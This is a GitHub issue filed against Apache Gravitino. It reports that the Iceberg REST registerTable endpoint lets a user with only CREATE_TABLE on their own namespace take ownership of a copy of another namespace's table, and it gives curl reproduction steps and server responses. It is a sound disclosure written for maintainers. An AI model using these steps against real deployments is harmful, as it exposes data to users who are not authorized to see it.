markhoerth opened a new issue, #14441:
URL: https://github.com/apache/gravitino/issues/14441
### Version
main branch, commit bb634defdc5663a8124be5fca1c8d9e52ac096ac (2.0.0-SNAPSHOT)
### Describe what's wrong
A user who holds `USE_CATALOG`, `USE_SCHEMA` and `CREATE_TABLE` on their own
namespace, and no privilege on a table in another namespace, calls the Iceberg
REST `registerTable` endpoint on their own namespace with a new table name and
the `metadata-location` of the other table. They expect the request to be
refused, because registering the file would give them a table they are not
allowed to read.
Instead the register returns 200 with the full table metadata (schema,
location, snapshots), Gravitino imports the new table and makes the caller its
owner, and from then on the caller can load the copy. The copy points at the
original table's metadata and data files, so the caller gets the schema and
file locations of a table they cannot load under its real name. The caller
needs the path of the metadata file, which can be learned from logs, an earlier
grant, engine output or a storage listing.
The problem shows up whenever authorization is enabled on the Iceberg REST
service backed by a Gravitino catalog.
Cause:
- The endpoint is authorized only against the target namespace:
`IcebergNamespaceOperations.registerTable` uses `ANY_USE_CATALOG &&
ANY_USE_SCHEMA && ANY_CREATE_TABLE` on the schema in the path
(`iceberg/iceberg-rest-server/src/main/java/org/apache/gravitino/iceberg/service/rest/IcebergNamespaceOperations.java:313-317`).
Nothing checks the caller's rights on the table that owns the metadata file.
- `IcebergNamespaceOperationExecutor.registerTable` reads whatever file the
request names
(`iceberg/iceberg-rest-server/src/main/java/org/apache/gravitino/iceberg/service/dispatcher/IcebergNamespaceOperationExecutor.java:141-142`,
through `IcebergCatalogWrapper.loadTableMetadataFromLocation` at
`iceberg/iceberg-common/src/main/java/org/apache/gravitino/iceberg/common/ops/IcebergCatalogWrapper.java:267-270`,
which opens any path the server's FileIO can read) and registers it (line 144).
- `IcebergNamespaceHookDispatcher.registerTable` then imports the table and
sets the caller as its owner
(`iceberg/iceberg-rest-server/src/main/java/org/apache/gravitino/iceberg/service/dispatcher/IcebergNamespaceHookDispatcher.java:201-209`),
so every later load by the caller passes the owner check.
The defect is in Gravitino's own authorization of the register endpoint. The
Iceberg REST spec and the upstream Iceberg `CatalogHandlers.registerTable` do
not define any authorization, so the check has to be in Gravitino. A fix would,
before registering, resolve which table (if any) Gravitino tracks at the
metadata file's table location and require the caller to be able to read that
table (or to own it), or refuse metadata files outside the target namespace's
location unless the caller holds a catalog-level privilege.
### Error message and/or stacktrace
No error. The caller cannot load the original table:
```
GET /iceberg/v1/namespaces/repro_other/tables/secret (as repro_alice)
HTTP 403
{"error":{"message":"User 'repro_alice' is not authorized to load table
'gvt_irc.irc_cat.repro_other.secret'","type":"ForbiddenException","code":403,...}}
```
but registering its metadata file under their own namespace succeeds, and
the copy loads:
```
POST /iceberg/v1/namespaces/repro_mine/register (as repro_alice)
{"name":"copy","metadata-location":"/home/ubuntu/gvt/data/irc_warehouse/repro_other/secret/metadata/00000-4be92224-960b-49fc-8a94-092c99bd6f50.metadata.json"}
HTTP 200
{"metadata-location":"/home/ubuntu/gvt/data/irc_warehouse/repro_other/secret/metadata/00000-4be92224-...metadata.json","metadata":{"format-version":2,"table-uuid":"e2058afe-90dc-490e-92ab-bb1f17c87055","location":"/home/ubuntu/gvt/data/irc_warehouse/repro_other/secret",...}}
GET /iceberg/v1/namespaces/repro_mine/tables/copy (as repro_alice)
HTTP 200 (schema fields: id, ssn; location
/home/ubuntu/gvt/data/irc_warehouse/repro_other/secret)
GET /api/metalakes/gvt_irc/owners/table/irc_cat.repro_mine.copy
HTTP 200
{"code":0,"owner":{"name":"repro_alice","type":"user"}}
```
### How to reproduce
Gravitino server with authorization enabled and simple auth (`admin` is a
service admin). The Iceberg REST service runs against the Gravitino catalog
`irc_cat` in metalake `gvt_irc` (no prefix), with a local warehouse.
```bash
ADMIN="Authorization: Basic $(printf admin:x | base64)"
ALICE="Authorization: Basic $(printf repro_alice:x | base64)"
I=http://127.0.0.1:9001/iceberg/v1
G=http://127.0.0.1:8090/api
V1='Accept: application/vnd.gravitino.v1+json'
```
1. As admin, create two namespaces and a table in one of them:
```bash
curl -s -H "$ADMIN" -H 'Content-Type: application/json' -X POST
$I/namespaces -d '{"namespace":["repro_other"],"properties":{}}'
curl -s -H "$ADMIN" -H 'Content-Type: application/json' -X POST
$I/namespaces -d '{"namespace":["repro_mine"],"properties":{}}'
curl -s -H "$ADMIN" -H 'Content-Type: application/json' -X POST
$I/namespaces/repro_other/tables -d
'{"name":"secret","schema":{"type":"struct","schema-id":0,"fields":[{"id":1,"name":"id","type":"long","required":false},{"id":2,"name":"ssn","type":"string","required":false}]},"properties":{"format-version":"2"}}'
LOC=$(curl -s -H "$ADMIN" $I/namespaces/repro_other/tables/secret | python3
-c 'import sys,json;print(json.load(sys.stdin)["metadata-location"])')
```
2. Create user `repro_alice` with `CREATE_TABLE` on `repro_mine` only:
```bash
curl -s -H "$ADMIN" -H "$V1" -H 'Content-Type: application/json' -X POST
$G/metalakes/gvt_irc/users -d '{"name":"repro_alice"}'
curl -s -H "$ADMIN" -H "$V1" -H 'Content-Type: application/json' -X POST
$G/metalakes/gvt_irc/roles -d
'{"name":"repro_alice_role","properties":{},"securableObjects":[{"fullName":"irc_cat","type":"CATALOG","privileges":[{"name":"USE_CATALOG","condition":"ALLOW"}]},{"fullName":"irc_cat.repro_mine","type":"SCHEMA","privileges":[{"name":"USE_SCHEMA","condition":"ALLOW"},{"name":"CREATE_TABLE","condition":"ALLOW"}]}]}'
curl -s -H "$ADMIN" -H "$V1" -H 'Content-Type: application/json' -X PUT
$G/metalakes/gvt_irc/permissions/users/repro_alice/grant -d
'{"roleNames":["repro_alice_role"]}'
```
3. As `repro_alice`, loading the table is refused (403):
```bash
curl -s -w '%{http_code}\n' -H "$ALICE"
$I/namespaces/repro_other/tables/secret
```
4. As `repro_alice`, register its metadata file under a new name in
`repro_mine` (200), then load the copy (200):
```bash
curl -s -w '%{http_code}\n' -H "$ALICE" -H 'Content-Type: application/json'
-X POST $I/namespaces/repro_mine/register -d
"{\"name\":\"copy\",\"metadata-location\":\"$LOC\"}"
curl -s -w '%{http_code}\n' -H "$ALICE" $I/namespaces/repro_mine/tables/copy
```
5. `repro_alice` is now the owner of `irc_cat.repro_mine.copy`:
```bash
curl -s -H "$ADMIN" -H "$V1"
$G/metalakes/gvt_irc/owners/table/irc_cat.repro_mine.copy
```
### Additional context
- Related: #14242 (register with `overwrite=true` is authorized only by
`CREATE_TABLE`) and #14303 (overwrite with another table's metadata repoints
the table). Both concern overwriting an existing name; here the caller
registers a new name and needs no privilege on any existing table.
- Also present in v1.3.1: the same authorization expression on
`registerTable` (`IcebergNamespaceOperations.java:312-317` at v1.3.1), and
`IcebergNamespaceHookDispatcher.registerTable` imports the table and sets the
caller as owner (lines 180-195 at v1.3.1).
- Found by the 2.0 OSS test suite check
`test_register_cannot_adopt_unreadable_table`.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: [email protected]
For queries about this service, please contact Infrastructure at:
[email protected]